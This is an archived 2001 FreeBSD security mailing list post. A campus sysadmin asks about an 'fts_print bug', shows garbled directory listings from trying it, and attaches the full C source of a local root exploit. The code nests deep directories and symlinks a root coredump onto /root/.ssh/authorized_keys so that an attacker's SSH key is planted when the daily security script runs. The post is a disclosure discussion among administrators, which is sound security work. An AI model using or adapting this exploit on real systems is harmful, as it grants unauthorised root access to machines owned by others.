Skip site navigation (1)Skip section navigation (2)
Date:      Fri, 23 Nov 2001 01:55:05 +0200
From:      veedee@c7.campus.utcluj.ro
To:        freebsd-security@freebsd.org
Subject:   fts_print bug?
Message-ID:  <20011123015505.A5165@c7.campus.utcluj.ro>

next in thread | raw e-mail | index | archive | help

--YiEDa0DAkWCtVeE4
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


Does anyone know anything about this?

It didn't worked on my box (4.3-RELEASE), but it did make some directories
which I can't erase anymore...

[#] rm -r 4965/
rm: fts_read: File name too long
[#] ls -lR 4965/
[[0m4965:
total 1
drwxr-xr-x   3 john   users         512 Nov 23 01:48 [[01;34m
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
[[0m
4965/
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
:
total 1
drwxr-xr-x   3 john   users         512 Nov 23 01:48
[[01;34mAAAAAAAAAAAAAAAAAA
4965/
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
total 1
drwxr-xr-x   3 john   users         512 Nov 23 01:48 [[01;34m
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
[[0m
4965/
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
:
total 1
drwxr-xr-x   3 john   users         512 Nov 23 01:48
[[01;34mAAAAAAAAAAAAAAAAAA
4965/
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
total 1
drwxr-xr-x   3 john   users         512 Nov 23 01:48 [[01;34m
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
[[0m
4965/
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!

----

  Sorry for the messy output. A friend of mine found the "exploit" (see
attachement) on BUGTRAQ.

Best regards,
Radu Bogdan Rusu (aka veedee)
C7 Campus Network System Administrator
--YiEDa0DAkWCtVeE4
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="a.c"

/*


 (c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>


 bug in fts_print function allows to overwrite any file in system, when
 running /etc/security script (executed from 'daily' scripts).


 affected systems:
   - freebsd (all versions)
   - probably openbsd/netbsd


 fix:
   - limit root's coredump size
   - patch libc


*/

#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>


#define STRING          "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE            "/root/.ssh/authorized_keys"
#define CORE            "find.core"
#define DEPTH           300
#define BUFSIZE         250


int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{


        if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
                return -1;


        if (chdir(dir))
                return -1;


        if (symlink(linkfrom, linkto) < 0)
                return -1;


        return 0;
}



int main(argc, argv)
int argc;
char **argv;
{
        int i = 0;
        char pid[10], buf[BUFSIZE];


        sprintf(pid, "%d", getpid());


        if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
        {
                perror("mkdir()");
                return -1;
        }


        if (chdir(pid))
        {
                perror("chdir()");
                return -1;
        }


        bzero(buf, BUFSIZE);
        memset(buf, 0x41, BUFSIZE-1);


        for(i=0;i<DEPTH;i++)
        {
                if (makedir(STRING, FILE, CORE) < 0)
                {
                        perror("makedir()");
                        return -1;
                }


                if(makedir(buf, FILE, CORE) < 0)
                {
                        perror("makedir()");
                        return -1;
                }
        }


        return 0;
}

/*
- ---
* Fido: 2:480/124 ** WWW: FreeBSD.lublin.pl/~venglin ** GSM: +48-601-383657
*
* Inet: venglin@FreeBSD.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF
*


-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
Charset: noconv

*/
--YiEDa0DAkWCtVeE4--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20011123015505.A5165>